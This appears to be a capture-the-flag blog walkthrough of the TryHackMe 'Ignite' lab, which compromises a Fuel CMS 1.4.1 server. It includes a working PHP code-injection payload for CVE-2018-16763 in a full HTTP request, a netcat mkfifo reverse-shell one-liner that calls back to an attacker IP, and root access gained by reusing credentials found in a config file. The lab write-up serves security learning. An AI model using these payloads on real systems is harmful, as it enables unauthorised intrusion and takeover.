Intro⌗

Ignite is a very beginner friendly Linux boot to root challenge on TryHackMe. I actually got root before finding the user flag! We’ll be exploiting a CVE in a PHP application to gain access to the box, and from there a little bit of enumeration of the app’s config files reveal the root user’s credentials.

Tools Used⌗

• nmap
• searchsploit
• Burp Suite
• netcat

Recon⌗

Running nmap shows only a single exposed port, so we know exactly where to start enumerating.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Ignite]
└─$ sudo nmap -T4 -Pn -sV -sC -p- 10.10.243.206 -oA nmap_initial
Nmap scan report for 10.10.243.206
Host is up (0.21s latency).
Not shown: 65018 closed ports, 516 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/fuel/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to FUEL CMS

Enumeration⌗

Let’s open http://10.10.243.206/ in firefox to check out what it is serving:

We have a default page for Fuel CMS version 1.4. This page has tons of helpful info on it including links to the user guide, GitHub repo, official forum, blog, and developer resources.

It also tells us which directories should be writable by any user, so those could be potentially be useful later.

We also see default credentials to the admin interface:

To access the FUEL admin, go to:
http://10.10.243.206/fuel
User name: admin
Password: admin (you can and should change this password and admin user information after logging in)

I wonder if the developer has changed the password yet? Let’s try to log in:

…Apparently not!

Before we dive deeper into the admin UI let’s use searchsploit to search for any known exploits.

┌──(brian㉿kali)-[~]
└─$ searchsploit fuel
--------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                   |  Path
--------------------------------------------------------------------------------- ---------------------------------
AMD Fuel Service - 'Fuel.service' Unquote Service Path                           | windows/local/49535.txt
Franklin Fueling TS-550 evo 2.0.0.6833 - Multiple Vulnerabilities                | hardware/webapps/31180.txt
fuel CMS 1.4.1 - Remote Code Execution (1)                                       | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2)                                       | php/webapps/49487.rb
Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)                             | php/webapps/48741.txt
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)                 | php/webapps/48778.txt
--------------------------------------------------------------------------------- ---------------------------------

This looks promising!

Running searchsploit -x 49487 to examine one of the RCE exploits, we see v1.4.1 of Fuel CMS allows PHP code execution via the filter parameter in /fuel/pages/select/?filter=. (For more info check out CVE-2018-16763).

Exploitation⌗

Since the expoit is just a single HTTP request, let’s open Burp and try the attack manually.

Setup:

1. The vulnerable endpoint is behind the admin panel so it does require logging in the with defualt admin credentials first.
2. Next open up Burp Suite and turn on proxying from Firefox so you can inspect the traffic.
3. Navigate to the “Pages” section from the menu on the left-hand side of the admin panel.
4. When you see the request to /fuel/pages in your HTTP history, right click and send the request to Burp’s Repeater tab. This is will give us a base request to build our attack on.

We can grab the payload from the exploit script we examined, and replace #{cmd} with the command you want to run: '%2bpi(print(%24a%3d'system'))%2b%24a('#{cmd}')%2b'

The full request should look something like this:

GET /fuel/pages/select/?filter='%2bpi(print(%24a%3d'system'))%2b%24a('id')%2b' HTTP/1.1
Host: 10.10.243.206
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.243.206/fuel/blocks
Cookie: ci_session=jkpkjda5n3eip7ou2trhb4m31ct26n9m; fuel_7da515443a82fcacf15d74c766f4b34b=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A7%3A%22english%22%3B%7D; fuel_ui_7da515443a82fcacf15d74c766f4b34b=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%252C%2522leftnav_hide%2522%253A%25220%2522%252C%2522fuel_pages_items%2522%253A%2522list%2522%257D; fuel_bar=%257B%2522show_fuel_bar%2522%253A%25220%2522%252C%2522show_editable_areas%2522%253A%25220%2522%257D
Upgrade-Insecure-Requests: 1

It works! We’ve confirmed we can execute commands on the server, and by running id we can see the app is running as the www-data user.

We could explore from here by running more commands through this webshell but let’s first work on getting a proper reverse shell.

Initial Foothold⌗

First things first, start a netcat listener to catch the shell: nc -nlvp 4444

Often you have to cycle through various types of shell payloads before getting one to work, as I did here. I started with some PHP shells since we know the server must have PHP installed in order to run Fuel but actually ended up getting a shell with this netcat payload:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.6.48.252 4444 >/tmp/f

Don’t forget to URL encode the payload before making the request!

Upgrading the Shell⌗

Before we start chasing the flags let’s upgrade to a full TTY shell for a better working environment:

1. Run python -c 'import pty;pty.spawn("/bin/bash")
2. Ctrl+z
3. Run stty raw -echo; fg
4. Hit enter
5. Run export TERM=xterm

Now we can clear the screen and have tab autocompletion…much more comfortable!

Privilege Escalation⌗

We are currently in the web root at /var/www/html so let’s search for Fuel’s config files and see if they contain any creds.

Jackpot! There is a database.php under fuel/application/config, and if we cat out the contents we see the “root” user’s password for the SQLi database.

We haven’t found the user flag yet but I wonder if those are the same creds for root on the box? Let’s see!

www-data@ubuntu:/var/www/html/fuel/application/config$ su root
Password:
root@ubuntu:/var/www/html/fuel/application/config# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/var/www/html/fuel/application/config# wc -c /root/root.txt
34 /root/root.txt

🏁 Root flag found!

Now let’s exit the root shell to go back and find the user flag.

If we cd /home we can see only the www-data user has a home directory that contains flag.txt!